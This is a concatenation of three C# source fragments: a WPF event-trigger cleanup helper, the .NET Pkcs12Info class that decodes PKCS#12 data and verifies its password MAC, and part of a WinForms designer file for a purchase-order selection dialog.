triggerCollection[i] ); } } } //////////////////////////////////////////////////////////////////////// // // DisconnectOneTrigger // // In ProcessOneTrigger, we connect an event trigger to the element // which it targets. Here, we remove the event listener to clean up. internal static void DisconnectOneTrigger( FrameworkElement triggersHost, TriggerBase triggerBase ) { EventTrigger eventTrigger = triggerBase as EventTrigger; if( eventTrigger != null ) { eventTrigger._source.RemoveHandler( eventTrigger.RoutedEvent, eventTrigger._routedEventHandler); eventTrigger._routedEventHandler = null; } else { throw new InvalidOperationException(SR.Get(SRID.TriggersSupportsEventTriggersOnly)); } } internal class EventTriggerSourceListener { internal EventTriggerSourceListener( EventTrigger trigger, FrameworkElement host ) { _owningTrigger = trigger; _owningTriggerHost = host; } internal void Handler(object sender, RoutedEventArgs e) { // Invoke all actions of the associated EventTrigger object. TriggerActionCollection actions = _owningTrigger.Actions; for( int j = 0; j < actions.Count; j++ ) { actions[j].Invoke(_owningTriggerHost); } } private EventTrigger _owningTrigger; private FrameworkElement _owningTriggerHost; } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.Collections.ObjectModel; using System.Diagnostics; using System.Security.Cryptography.Asn1; using System.Security.Cryptography.Pkcs.Asn1; using Internal.Cryptography; namespace System.Security.Cryptography.Pkcs { public sealed class Pkcs12Info { private PfxAsn _decoded; private ReadOnlyMemory<byte> _authSafeContents; public ReadOnlyCollection<Pkcs12SafeContents> AuthenticatedSafe { get; private set; } public Pkcs12IntegrityMode IntegrityMode { get; private set; } private Pkcs12Info() { } public bool VerifyMac(string password) { // This extension-method call allows null. return VerifyMac(password.AsSpan()); } public bool VerifyMac(ReadOnlySpan<char> password) { if (IntegrityMode != Pkcs12IntegrityMode.Password) { throw new InvalidOperationException( SR.Format( SR.Cryptography_Pkcs12_WrongModeForVerify, Pkcs12IntegrityMode.Password, IntegrityMode)); } Debug.Assert(_decoded.MacData.HasValue); HashAlgorithmName hashAlgorithm; int expectedOutputSize; string algorithmValue = _decoded.MacData.Value.Mac.DigestAlgorithm.Algorithm.Value; switch (algorithmValue) { case Oids.Md5: expectedOutputSize = 128 >> 3; hashAlgorithm = HashAlgorithmName.MD5; break; case Oids.Sha1: expectedOutputSize = 160 >> 3; hashAlgorithm = HashAlgorithmName.SHA1; break; case Oids.Sha256: expectedOutputSize = 256 >> 3; hashAlgorithm = HashAlgorithmName.SHA256; break; case Oids.Sha384: expectedOutputSize = 384 >> 3; hashAlgorithm = HashAlgorithmName.SHA384; break; case Oids.Sha512: expectedOutputSize = 512 >> 3; hashAlgorithm = HashAlgorithmName.SHA512; break; default: throw new CryptographicException( SR.Format(SR.Cryptography_UnknownHashAlgorithm, algorithmValue)); } if (_decoded.MacData.Value.Mac.Digest.Length != expectedOutputSize) { throw new CryptographicException(SR.Cryptography_Der_Invalid_Encoding); } // Cannot use the ArrayPool or stackalloc here because CreateHMAC needs a properly bounded array. byte[] derived = new byte[expectedOutputSize]; int iterationCount = PasswordBasedEncryption.NormalizeIterationCount(_decoded.MacData.Value.IterationCount); Pkcs12Kdf.DeriveMacKey( password, hashAlgorithm, iterationCount, _decoded.MacData.Value.MacSalt.Span, derived); using (IncrementalHash hmac = IncrementalHash.CreateHMAC(hashAlgorithm, derived)) { hmac.AppendData(_authSafeContents.Span); if (!hmac.TryGetHashAndReset(derived, out int bytesWritten) || bytesWritten != expectedOutputSize) { Debug.Fail($"TryGetHashAndReset wrote {bytesWritten} bytes when {expectedOutputSize} was expected"); throw new CryptographicException(); } return CryptographicOperations.FixedTimeEquals( derived, _decoded.MacData.Value.Mac.Digest.Span); } } public static Pkcs12Info Decode( ReadOnlyMemory<byte> encodedBytes, out int bytesConsumed, bool skipCopy = false) { AsnReader reader = new AsnReader(encodedBytes, AsnEncodingRules.BER); // Trim it to the first value encodedBytes = reader.PeekEncodedValue(); ReadOnlyMemory<byte> maybeCopy = skipCopy ? encodedBytes : encodedBytes.ToArray(); PfxAsn pfx = PfxAsn.Decode(maybeCopy, AsnEncodingRules.BER); // https://tools.ietf.org/html/rfc7292#section-4 only defines version 3. if (pfx.Version != 3) { throw new CryptographicException(SR.Cryptography_Der_Invalid_Encoding); } ReadOnlyMemory<byte> authSafeBytes = ReadOnlyMemory<byte>.Empty; Pkcs12IntegrityMode mode = Pkcs12IntegrityMode.Unknown; if (pfx.AuthSafe.ContentType == Oids.Pkcs7Data) { authSafeBytes = PkcsHelpers.DecodeOctetString(pfx.AuthSafe.Content); if (pfx.MacData.HasValue) { mode = Pkcs12IntegrityMode.Password; } else { mode = Pkcs12IntegrityMode.None; } } else if (pfx.AuthSafe.ContentType == Oids.Pkcs7Signed) { SignedDataAsn signedData = SignedDataAsn.Decode(pfx.AuthSafe.Content, AsnEncodingRules.BER); mode = Pkcs12IntegrityMode.PublicKey; if (signedData.EncapContentInfo.ContentType == Oids.Pkcs7Data) { authSafeBytes = signedData.EncapContentInfo.Content.GetValueOrDefault(); } if (pfx.MacData.HasValue) { throw new CryptographicException(SR.Cryptography_Der_Invalid_Encoding); } } if (mode == Pkcs12IntegrityMode.Unknown) { throw new CryptographicException(SR.Cryptography_Der_Invalid_Encoding); } List<ContentInfoAsn> authSafeData = new List<ContentInfoAsn>(); AsnReader authSafeReader = new AsnReader(authSafeBytes, AsnEncodingRules.BER); AsnReader sequenceReader = authSafeReader.ReadSequence(); authSafeReader.ThrowIfNotEmpty(); while (sequenceReader.HasData) { ContentInfoAsn.Decode(sequenceReader, out ContentInfoAsn contentInfo); authSafeData.Add(contentInfo); } ReadOnlyCollection<Pkcs12SafeContents> authSafe; if (authSafeData.Count == 0) { authSafe = new ReadOnlyCollection<Pkcs12SafeContents>(Array.Empty<Pkcs12SafeContents>()); } else { Pkcs12SafeContents[] contentsArray = new Pkcs12SafeContents[authSafeData.Count]; for (int i = 0; i < contentsArray.Length; i++) { contentsArray[i] = new Pkcs12SafeContents(authSafeData[i]); } authSafe = new ReadOnlyCollection<Pkcs12SafeContents>(contentsArray); } bytesConsumed = encodedBytes.Length; return new Pkcs12Info { AuthenticatedSafe = authSafe, IntegrityMode = mode, _decoded = pfx, _authSafeContents = authSafeBytes, }; } } }
using System; using System.Data; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; //PCS's namespaces using PCSComProcurement.Purchase.BO; using PCSComProcurement.Purchase.DS; using PCSUtils.Utils; using PCSComUtils.Common.BO; using PCSComUtils.Admin.BO; using PCSComUtils.MasterSetup.BO; using PCSComUtils.Common; using PCSComUtils.PCSExc; using PCSUtils.Log; using PCSComUtils.MasterSetup.DS; namespace PCSProcurement.Purchase { /// <summary> /// Summary description for SelectPurchaseOrders. /// </summary> public class SelectPurchaseOrders : System.Windows.Forms.Form { #region Declarations private System.Windows.Forms.CheckBox chkSelectAll; private System.Windows.Forms.Button btnClose; private System.Windows.Forms.Button btnHelp; private System.Windows.Forms.Button btnSelect; private System.Windows.Forms.Button btnSearch; private System.Windows.Forms.Label lblPO; private System.Windows.Forms.Button btnSearchBeginPO; private C1.Win.C1TrueDBGrid.C1TrueDBGrid dgrdData; /// <summary> /// Required designer variable. /// </summary> /// #region Constants private const string THIS = "PCSProcurement.Purchase.SelectPurchaseOrders"; private const string SELECTED_COL = "Selected"; private const string ZERO_STRING = "0"; private const string UNCLOSE_PO_4_INVOICE_VIEW = "v_SelectUnclosedPO4Invoice"; #endregion Constants private System.ComponentModel.Container components = null; private DataTable dtbData; private DataTable dtStoreGridLayout; #endregion Declarations #region Properties private Hashtable mhtbCondition; private System.Windows.Forms.TextBox txtBeginPO; private C1.Win.C1Input.C1DateEdit dtmToDeliveryDate; private C1.Win.C1Input.C1DateEdit dtmFromDeliveryDate; private System.Windows.Forms.Label lblToDeliveryDate; private System.Windows.Forms.Label lblFromDeliveryDate; public Hashtable ConditionHashTable { set{ mhtbCondition = value;} get{ return mhtbCondition;} } private Hashtable mSelectedRows; public Hashtable SelectedRows { set{ mSelectedRows = value;} get{ return mSelectedRows;} } #endregion Properties #region Constructor, Destructor public SelectPurchaseOrders() { InitializeComponent(); mhtbCondition = new Hashtable(); } public SelectPurchaseOrders(Hashtable phtbCondition) { InitializeComponent(); if(phtbCondition != null) { mhtbCondition = phtbCondition; } else { mhtbCondition = new Hashtable(); } } /// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose( bool disposing ) { if( disposing ) { if(components != null) { components.Dispose(); } } base.Dispose( disposing ); } #endregion Properties #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(SelectPurchaseOrders)); this.chkSelectAll = new System.Windows.Forms.CheckBox(); this.btnClose = new System.Windows.Forms.Button(); this.btnHelp = new System.Windows.Forms.Button(); this.btnSelect = new System.Windows.Forms.Button(); this.dtmToDeliveryDate = new C1.Win.C1Input.C1DateEdit(); this.dtmFromDeliveryDate = new C1.Win.C1Input.C1DateEdit(); this.lblToDeliveryDate = new System.Windows.Forms.Label(); this.btnSearch = new System.Windows.Forms.Button(); this.btnSearchBeginPO = new System.Windows.Forms.Button(); this.txtBeginPO = new System.Windows.Forms.TextBox(); this.lblFromDeliveryDate = new System.Windows.Forms.Label(); this.lblPO = new System.Windows.Forms.Label(); this.dgrdData = new C1.Win.C1TrueDBGrid.C1TrueDBGrid(); ((System.ComponentModel.ISupportInitialize)(this.dtmToDeliveryDate)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.dtmFromDeliveryDate)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.dgrdData)).BeginInit(); this.SuspendLayout(); // // chkSelectAll // this.chkSelectAll.AccessibleDescription = resources.GetString("chkSelectAll.AccessibleDescription"); this.chkSelectAll.AccessibleName = resources.GetString("chkSelectAll.AccessibleName"); this.chkSelectAll.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("chkSelectAll.Anchor"))); this.chkSelectAll.Appearance = ((System.Windows.Forms.Appearance)(resources.GetObject("chkSelectAll.Appearance"))); this.chkSelectAll.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkSelectAll.BackgroundImage"))); this.chkSelectAll.CheckAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("chkSelectAll.CheckAlign"))); this.chkSelectAll.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("chkSelectAll.Dock"))); this.chkSelectAll.Enabled = ((bool)(resources.GetObject("chkSelectAll.Enabled"))); this.chkSelectAll.FlatStyle = ((System.Windows.Forms.FlatStyle)(resources.GetObject("chkSelectAll.FlatStyle"))); this.chkSelectAll.Font = ((System.Drawing.Font)(resources.GetObject("chkSelectAll.Font"))); this.chkSelectAll.Image = ((System.Drawing.Image)(resources.GetObject("chkSelectAll.Image"))); this.chkSelectAll.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("chkSelectAll.ImageAlign"))); this.chkSelectAll.ImageIndex = ((int)(resources.GetObject("chkSelectAll.ImageIndex"))); this.chkSelectAll.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("chkSelectAll.ImeMode"))); this.chkSelectAll.Location = ((System.Drawing.Point)(resources.GetObject("chkSelectAll.Location"))); this.chkSelectAll.Name = "chkSelectAll"; this.chkSelectAll.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("chkSelectAll.RightToLeft"))); this.chkSelectAll.Size = ((System.Drawing.Size)(resources.GetObject("chkSelectAll.Size"))); this.chkSelectAll.TabIndex = ((int)(resources.GetObject("chkSelectAll.TabIndex"))); this.chkSelectAll.Text = resources.GetString("chkSelectAll.Text"); this.chkSelectAll.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("chkSelectAll.TextAlign"))); this.chkSelectAll.Visible = ((bool)(resources.GetObject("chkSelectAll.Visible"))); this.chkSelectAll.Click += new System.EventHandler(this.chkSelectAll_Click); // // btnClose // this.btnClose.AccessibleDescription = resources.GetString("btnClose.AccessibleDescription"); this.btnClose.AccessibleName = resources.GetString("btnClose.AccessibleName"); this.btnClose.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("btnClose.Anchor"))); this.btnClose.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnClose.BackgroundImage"))); this.btnClose.DialogResult = System.Windows.Forms.DialogResult.Cancel; this.btnClose.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("btnClose.Dock"))); this.btnClose.Enabled = ((bool)(resources.GetObject("btnClose.Enabled"))); this.btnClose.FlatStyle = ((System.Windows.Forms.FlatStyle)(resources.GetObject("btnClose.FlatStyle"))); this.btnClose.Font = ((System.Drawing.Font)(resources.GetObject("btnClose.Font"))); this.btnClose.Image = ((System.Drawing.Image)(resources.GetObject("btnClose.Image"))); this.btnClose.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnClose.ImageAlign"))); this.btnClose.ImageIndex = ((int)(resources.GetObject("btnClose.ImageIndex"))); this.btnClose.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("btnClose.ImeMode"))); this.btnClose.Location = ((System.Drawing.Point)(resources.GetObject("btnClose.Location"))); this.btnClose.Name = "btnClose"; this.btnClose.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("btnClose.RightToLeft"))); this.btnClose.Size = ((System.Drawing.Size)(resources.GetObject("btnClose.Size"))); this.btnClose.TabIndex = ((int)(resources.GetObject("btnClose.TabIndex"))); this.btnClose.Text = resources.GetString("btnClose.Text"); this.btnClose.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnClose.TextAlign"))); this.btnClose.Visible = ((bool)(resources.GetObject("btnClose.Visible"))); this.btnClose.Click += new System.EventHandler(this.btnClose_Click); // // btnHelp // this.btnHelp.AccessibleDescription = resources.GetString("btnHelp.AccessibleDescription"); this.btnHelp.AccessibleName = resources.GetString("btnHelp.AccessibleName"); this.btnHelp.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("btnHelp.Anchor"))); this.btnHelp.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnHelp.BackgroundImage"))); this.btnHelp.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("btnHelp.Dock"))); this.btnHelp.Enabled = ((bool)(resources.GetObject("btnHelp.Enabled"))); this.btnHelp.FlatStyle = ((System.Windows.Forms.FlatStyle)(resources.GetObject("btnHelp.FlatStyle"))); this.btnHelp.Font = ((System.Drawing.Font)(resources.GetObject("btnHelp.Font"))); this.btnHelp.Image = ((System.Drawing.Image)(resources.GetObject("btnHelp.Image"))); this.btnHelp.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnHelp.ImageAlign"))); this.btnHelp.ImageIndex = ((int)(resources.GetObject("btnHelp.ImageIndex"))); this.btnHelp.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("btnHelp.ImeMode"))); this.btnHelp.Location = ((System.Drawing.Point)(resources.GetObject("btnHelp.Location"))); this.btnHelp.Name = "btnHelp"; this.btnHelp.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("btnHelp.RightToLeft"))); this.btnHelp.Size = ((System.Drawing.Size)(resources.GetObject("btnHelp.Size"))); this.btnHelp.TabIndex = ((int)(resources.GetObject("btnHelp.TabIndex"))); this.btnHelp.Text = resources.GetString("btnHelp.Text"); this.btnHelp.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnHelp.TextAlign"))); this.btnHelp.Visible = ((bool)(resources.GetObject("btnHelp.Visible"))); // // btnSelect // this.btnSelect.AccessibleDescription = resources.GetString("btnSelect.AccessibleDescription"); this.btnSelect.AccessibleName = resources.GetString("btnSelect.AccessibleName"); this.btnSelect.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("btnSelect.Anchor"))); this.btnSelect.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnSelect.BackgroundImage"))); this.btnSelect.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("btnSelect.Dock"))); this.btnSelect.Enabled = ((bool)(resources.GetObject("btnSelect.Enabled"))); this.btnSelect.FlatStyle = ((System.Windows.Forms.FlatStyle)(resources.GetObject("btnSelect.FlatStyle"))); this.btnSelect.Font = ((System.Drawing.Font)(resources.GetObject("btnSelect.Font"))); this.btnSelect.Image = ((System.Drawing.Image)(resources.GetObject("btnSelect.Image"))); this.btnSelect.ImageAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnSelect.ImageAlign"))); this.btnSelect.ImageIndex = ((int)(resources.GetObject("btnSelect.ImageIndex"))); this.btnSelect.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("btnSelect.ImeMode"))); this.btnSelect.Location = ((System.Drawing.Point)(resources.GetObject("btnSelect.Location"))); this.btnSelect.Name = "btnSelect"; this.btnSelect.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("btnSelect.RightToLeft"))); this.btnSelect.Size = ((System.Drawing.Size)(resources.GetObject("btnSelect.Size"))); this.btnSelect.TabIndex = ((int)(resources.GetObject("btnSelect.TabIndex"))); this.btnSelect.Text = resources.GetString("btnSelect.Text"); this.btnSelect.TextAlign = ((System.Drawing.ContentAlignment)(resources.GetObject("btnSelect.TextAlign"))); this.btnSelect.Visible = ((bool)(resources.GetObject("btnSelect.Visible"))); this.btnSelect.Click += new System.EventHandler(this.btnSelect_Click); // // dtmToDeliveryDate // this.dtmToDeliveryDate.AcceptsEscape = ((bool)(resources.GetObject("dtmToDeliveryDate.AcceptsEscape"))); this.dtmToDeliveryDate.AccessibleDescription = resources.GetString("dtmToDeliveryDate.AccessibleDescription"); this.dtmToDeliveryDate.AccessibleName = resources.GetString("dtmToDeliveryDate.AccessibleName"); this.dtmToDeliveryDate.Anchor = ((System.Windows.Forms.AnchorStyles)(resources.GetObject("dtmToDeliveryDate.Anchor"))); this.dtmToDeliveryDate.AutoSize = ((bool)(resources.GetObject("dtmToDeliveryDate.AutoSize"))); this.dtmToDeliveryDate.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("dtmToDeliveryDate.BackgroundImage"))); this.dtmToDeliveryDate.BorderStyle = ((System.Windows.Forms.BorderStyle)(resources.GetObject("dtmToDeliveryDate.BorderStyle"))); // // dtmToDeliveryDate.Calendar // this.dtmToDeliveryDate.Calendar.AccessibleDescription = resources.GetString("dtmToDeliveryDate.Calendar.AccessibleDescription"); this.dtmToDeliveryDate.Calendar.AccessibleName = resources.GetString("dtmToDeliveryDate.Calendar.AccessibleName"); this.dtmToDeliveryDate.Calendar.AnnuallyBoldedDates = ((System.DateTime[])(resources.GetObject("dtmToDeliveryDate.Calendar.AnnuallyBoldedDates"))); this.dtmToDeliveryDate.Calendar.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("dtmToDeliveryDate.Calendar.BackgroundImage"))); this.dtmToDeliveryDate.Calendar.BoldedDates = ((System.DateTime[])(resources.GetObject("dtmToDeliveryDate.Calendar.BoldedDates"))); this.dtmToDeliveryDate.Calendar.CalendarDimensions = ((System.Drawing.Size)(resources.GetObject("dtmToDeliveryDate.Calendar.CalendarDimensions"))); this.dtmToDeliveryDate.Calendar.Enabled = ((bool)(resources.GetObject("dtmToDeliveryDate.Calendar.Enabled"))); this.dtmToDeliveryDate.Calendar.FirstDayOfWeek = ((System.Windows.Forms.Day)(resources.GetObject("dtmToDeliveryDate.Calendar.FirstDayOfWeek"))); this.dtmToDeliveryDate.Calendar.Font = ((System.Drawing.Font)(resources.GetObject("dtmToDeliveryDate.Calendar.Font"))); this.dtmToDeliveryDate.Calendar.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("dtmToDeliveryDate.Calendar.ImeMode"))); this.dtmToDeliveryDate.Calendar.MonthlyBoldedDates = ((System.DateTime[])(resources.GetObject("dtmToDeliveryDate.Calendar.MonthlyBoldedDates"))); this.dtmToDeliveryDate.Calendar.RightToLeft = ((System.Windows.Forms.RightToLeft)(resources.GetObject("dtmToDeliveryDate.Calendar.RightToLeft"))); this.dtmToDeliveryDate.Calendar.ShowClearButton = ((bool)(resources.GetObject("dtmToDeliveryDate.Calendar.ShowClearButton"))); this.dtmToDeliveryDate.Calendar.ShowTodayButton = ((bool)(resources.GetObject("dtmToDeliveryDate.Calendar.ShowTodayButton"))); this.dtmToDeliveryDate.Calendar.ShowWeekNumbers = ((bool)(resources.GetObject("dtmToDeliveryDate.Calendar.ShowWeekNumbers"))); this.dtmToDeliveryDate.CaseSensitive = ((bool)(resources.GetObject("dtmToDeliveryDate.CaseSensitive"))); this.dtmToDeliveryDate.Culture = ((int)(resources.GetObject("dtmToDeliveryDate.Culture"))); this.dtmToDeliveryDate.CurrentTimeZone = ((bool)(resources.GetObject("dtmToDeliveryDate.CurrentTimeZone"))); this.dtmToDeliveryDate.CustomFormat = resources.GetString("dtmToDeliveryDate.CustomFormat"); this.dtmToDeliveryDate.DaylightTimeAdjustment = ((C1.Win.C1Input.DaylightTimeAdjustmentEnum)(resources.GetObject("dtmToDeliveryDate.DaylightTimeAdjustment"))); this.dtmToDeliveryDate.DisplayFormat.CustomFormat = resources.GetString("dtmToDeliveryDate.DisplayFormat.CustomFormat"); this.dtmToDeliveryDate.DisplayFormat.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmToDeliveryDate.DisplayFormat.FormatType"))); this.dtmToDeliveryDate.DisplayFormat.Inherit = ((C1.Win.C1Input.FormatInfoInheritFlags)(resources.GetObject("dtmToDeliveryDate.DisplayFormat.Inherit"))); this.dtmToDeliveryDate.DisplayFormat.NullText = resources.GetString("dtmToDeliveryDate.DisplayFormat.NullText"); this.dtmToDeliveryDate.DisplayFormat.TrimEnd = ((bool)(resources.GetObject("dtmToDeliveryDate.DisplayFormat.TrimEnd"))); this.dtmToDeliveryDate.DisplayFormat.TrimStart = ((bool)(resources.GetObject("dtmToDeliveryDate.DisplayFormat.TrimStart"))); this.dtmToDeliveryDate.Dock = ((System.Windows.Forms.DockStyle)(resources.GetObject("dtmToDeliveryDate.Dock"))); this.dtmToDeliveryDate.DropDownFormAlign = ((C1.Win.C1Input.DropDownFormAlignmentEnum)(resources.GetObject("dtmToDeliveryDate.DropDownFormAlign"))); this.dtmToDeliveryDate.EditFormat.CustomFormat = resources.GetString("dtmToDeliveryDate.EditFormat.CustomFormat"); this.dtmToDeliveryDate.EditFormat.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmToDeliveryDate.EditFormat.FormatType"))); this.dtmToDeliveryDate.EditFormat.Inherit = ((C1.Win.C1Input.FormatInfoInheritFlags)(resources.GetObject("dtmToDeliveryDate.EditFormat.Inherit"))); this.dtmToDeliveryDate.EditFormat.NullText = resources.GetString("dtmToDeliveryDate.EditFormat.NullText"); this.dtmToDeliveryDate.EditFormat.TrimEnd = ((bool)(resources.GetObject("dtmToDeliveryDate.EditFormat.TrimEnd"))); this.dtmToDeliveryDate.EditFormat.TrimStart = ((bool)(resources.GetObject("dtmToDeliveryDate.EditFormat.TrimStart"))); this.dtmToDeliveryDate.EditMask = resources.GetString("dtmToDeliveryDate.EditMask"); this.dtmToDeliveryDate.EmptyAsNull = ((bool)(resources.GetObject("dtmToDeliveryDate.EmptyAsNull"))); this.dtmToDeliveryDate.Enabled = ((bool)(resources.GetObject("dtmToDeliveryDate.Enabled"))); this.dtmToDeliveryDate.ErrorInfo.BeepOnError = ((bool)(resources.GetObject("dtmToDeliveryDate.ErrorInfo.BeepOnError"))); this.dtmToDeliveryDate.ErrorInfo.ErrorMessage = resources.GetString("dtmToDeliveryDate.ErrorInfo.ErrorMessage"); this.dtmToDeliveryDate.ErrorInfo.ErrorMessageCaption = resources.GetString("dtmToDeliveryDate.ErrorInfo.ErrorMessageCaption"); this.dtmToDeliveryDate.ErrorInfo.ShowErrorMessage = ((bool)(resources.GetObject("dtmToDeliveryDate.ErrorInfo.ShowErrorMessage"))); this.dtmToDeliveryDate.ErrorInfo.ValueOnError = ((object)(resources.GetObject("dtmToDeliveryDate.ErrorInfo.ValueOnError"))); this.dtmToDeliveryDate.Font = ((System.Drawing.Font)(resources.GetObject("dtmToDeliveryDate.Font"))); this.dtmToDeliveryDate.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmToDeliveryDate.FormatType"))); this.dtmToDeliveryDate.GapHeight = ((int)(resources.GetObject("dtmToDeliveryDate.GapHeight"))); this.dtmToDeliveryDate.GMTOffset = ((System.TimeSpan)(resources.GetObject("dtmToDeliveryDate.GMTOffset"))); this.dtmToDeliveryDate.ImeMode = ((System.Windows.Forms.ImeMode)(resources.GetObject("dtmToDeliveryDate.ImeMode"))); this.dtmToDeliveryDate.InitialSelection = ((C1.Win.C1Input.InitialSelectionEnum)(resources.GetObject("dtmToDeliveryDate.InitialSelection"))); this.dtmToDeliveryDate.Location = ((System.Drawing.Point)(resources.GetObject("dtmToDeliveryDate.Location"))); this.dtmToDeliveryDate.MaskInfo.AutoTabWhenFilled = ((bool)(resources.GetObject("dtmToDeliveryDate.MaskInfo.AutoTabWhenFilled"))); this.dtmToDeliveryDate.MaskInfo.CaseSensitive = ((bool)(resources.GetObject("dtmToDeliveryDate.MaskInfo.CaseSensitive"))); this.dtmToDeliveryDate.MaskInfo.CopyWithLiterals = ((bool)(resources.GetObject("dtmToDeliveryDate.MaskInfo.CopyWithLiterals"))); this.dtmToDeliveryDate.MaskInfo.EditMask = resources.GetString("dtmToDeliveryDate.MaskInfo.EditMask"); this.dtmToDeliveryDate.MaskInfo.EmptyAsNull = ((bool)(resources.GetObject("dtmToDeliveryDate.MaskInfo.EmptyAsNull"))); this.dtmToDeliveryDate.MaskInfo.ErrorMessage = resources.GetString("dtmToDeliveryDate.MaskInfo.ErrorMessage"); this.dtmToDeliveryDate.MaskInfo.Inherit = ((C1.Win.C1Input.MaskInfoInheritFlags)(resources.GetObject("dtmToDeliveryDate.MaskInfo.Inherit"))); this.dtmToDeliveryDate.MaskInfo.PromptChar = ((char)(resources.GetObject("dtmToDeliveryDate.MaskInfo.PromptChar"))); this.dtmToDeliveryDate.MaskInfo.ShowLiterals = ((C1.Win.C1Input.ShowLiteralsEnum)(resources.GetObject("dtmToDeliveryDate.MaskInfo.ShowLiterals"))); this.dtmToDeliveryDate.MaskInfo.StoredEmptyChar = ((char)(resources.GetObject("dtmToDeliveryDate.MaskInfo.StoredEmptyChar"))); this.dtmToDeliveryDate.MaxLength = ((int)(resources.GetObject("dtmToDeliveryDate.MaxLength"))); this.dtmToDeliveryDate.Name = "dtmToDeliveryDate"; this.dtmToDeliveryDate.NullText = resources.GetString("dtmToDeliveryDate.NullText"); this.dtmToDeliveryDate.ParseInfo.CaseSensitive = ((bool)(resources.GetObject("dtmToDeliveryDate.ParseInfo.CaseSensitive"))); this.dtmToDeliveryDate.ParseInfo.CustomFormat = resources.GetString("dtmToDeliveryDate.ParseInfo.CustomFormat"); this.dtmToDeliveryDate.ParseInfo.DateTimeStyle = ((C1.Win.C1Input.DateTimeStyleFlags)(resources.GetObject("dtmToDeliveryDate.ParseInfo.DateTimeStyle"))); this.dtmToDeliveryDate.ParseInfo.EmptyAsNull = ((bool)(resources.GetObject("dtmToDeliveryDate.ParseInfo.EmptyAsNull"))); this.dtmToDeliveryDate.ParseInfo.ErrorMessage = resources.GetString("dtmToDeliveryDate.ParseInfo.ErrorMessage"); this.dtmToDeliveryDate.ParseInfo.FormatType = ((C1.Win.C1Input.FormatTypeEnum)(resources.GetObject("dtmToDeliveryDate.ParseInfo.FormatType"))); this.dtmToDeliveryDate.ParseInfo.Inherit = ((C1.Win.C1Input.ParseInfoInheritFlags)(resources.GetObject("dtmToDeliveryDate.ParseInfo.Inherit"))); this.dtmToDeliveryDate.ParseInfo.NullText = resources.GetString("dtmToDeliveryDate.ParseInfo.NullText"); this.dtmToDeliveryDate.ParseInfo.TrimEnd = ((bool)(resources.GetObject("dtmToDeliveryDate.ParseInfo.TrimEnd"))); this.dtmToDeliveryDate.ParseInfo.TrimStart = ((bool)(resources.GetObject("dtmToDeliveryDate.ParseInfo.TrimStart"))); this.dtmToDeliveryDate.PasswordChar = ((char)(resources.GetObject("dtmToDeliveryDate.PasswordChar"))); this.dtmToDeliveryDate.PostValidation.CaseSensitive = ((bool)(resources.GetObject("dtmToDeliveryDate.PostValidation.CaseSensitive"))); this.dtmToDeliveryDate.PostValidation.ErrorMessage = resources.GetString("dtmToDeliveryDate.PostValidation.ErrorMessage"); this.dtmToDeliveryDate.PostValidation.Inherit = ((C1.Win.C1Input.PostValidationInheritFlags)(resources.GetObject("dtmToDeliveryDate.PostValidation.Inherit"))); this.dtmToDeliveryDate.PostValidation.Validation = ((C1.Win.C1Input.PostValidationTypeEnum)(resources.GetObject("dtmToDeliveryDate.PostValidation.Validation"))); this.dtmToDeliveryDate.PostValidation.Values = ((System.Array)(resources.GetObject("dtmToDeliveryDate.PostValidation.Values"))); this.dtmToDeliveryDate.PostValidation.ValuesExcluded = ((System.Array)(resources.GetObject("dtmToDeliveryDate.PostValidation.ValuesExcluded"))); this.dtmToDeliveryDate.PreValidation.CaseSensitive = ((bool)(resources.GetObject("dtmToDeliveryDate.PreValidation.CaseSensitive"))); this.dtmToDeliveryDate.PreValidation.ErrorMessage = resources.GetString("dtmToDeliveryDate.PreValidation.ErrorMessage"); this.dtmToDeliveryDate.PreValidation.Inherit = ((C1.Win.C1Input.PreValidationInheritFlags)(resources.GetObject("dtmToDeliveryDate.PreValidation.Inherit"))); this.dtmToDeliveryDate.PreValidation.ItemSeparator = resources.GetString("dtmToDeliveryDate.PreValidation.ItemSeparator"); this.dtmToDeliveryDate.PreValidation.PatternString = 